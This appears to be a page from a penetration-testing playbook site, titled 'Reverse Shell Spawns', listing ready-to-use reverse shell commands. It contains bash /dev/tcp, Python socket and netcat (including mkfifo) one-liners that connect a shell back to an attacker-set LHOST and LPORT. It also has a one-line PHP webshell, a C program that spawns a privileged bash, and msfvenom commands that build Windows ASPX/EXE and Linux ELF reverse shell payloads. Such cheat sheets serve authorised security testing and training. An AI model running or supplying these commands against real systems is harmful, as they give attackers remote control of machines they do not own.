notmalicio.us
05 · pivot & c2

Reverse Shell Spawns

Miscellaneous reverse shell spawns.

2 sections · 1 min read · ~/playbook/reverse-shells

Traditional Reverse Shells

Simple Bash Spawn:

bash -c "bash -i >& /dev/tcp/LHOST/LPORT 0>&1"

Python:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("LHOST",LPORT)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

Netcat Basic:

nc LHOST LPORT -e /bin/bash
  • -e is missing from many netcat builds (e.g. OpenBSD netcat), so use the mkfifo version below

Netcat tmp:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc LHOST LPORT > /tmp/f
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc LHOST LPORT > /tmp/f

Simple PHP Webshell:

<?php system($_GET['cmd']); ?>
  • Use with &cmd=id in the URL
  • More on Kali builds at /usr/share/webshells/php

C Shell:

#include <stdio.h>
#include <unistd.h>
int main(void){
    char *argv[]={"/bin/bash","-p",NULL};
    execve(argv[0],argv,NULL);
}
  • Compile with: gcc -m32 shell.c -o shell

Msfvenom Payloads

Windows

ASPX Reverse Shell:

msfvenom --payload windows/shell_reverse_tcp --format aspx -o revshell.aspx LHOST=LHOST LPORT=LPORT

Executable Reverse Shell:

msfvenom --payload windows/shell_reverse_tcp --format exe -o revshell.exe LHOST=LHOST LPORT=LPORT

Linux

ELF Reverse Shell:

msfvenom --payload linux/x64/shell_reverse_tcp  --format elf -o revshell LHOST=LHOST LPORT=LPORT
esc
↑↓ navigate↵ openesc close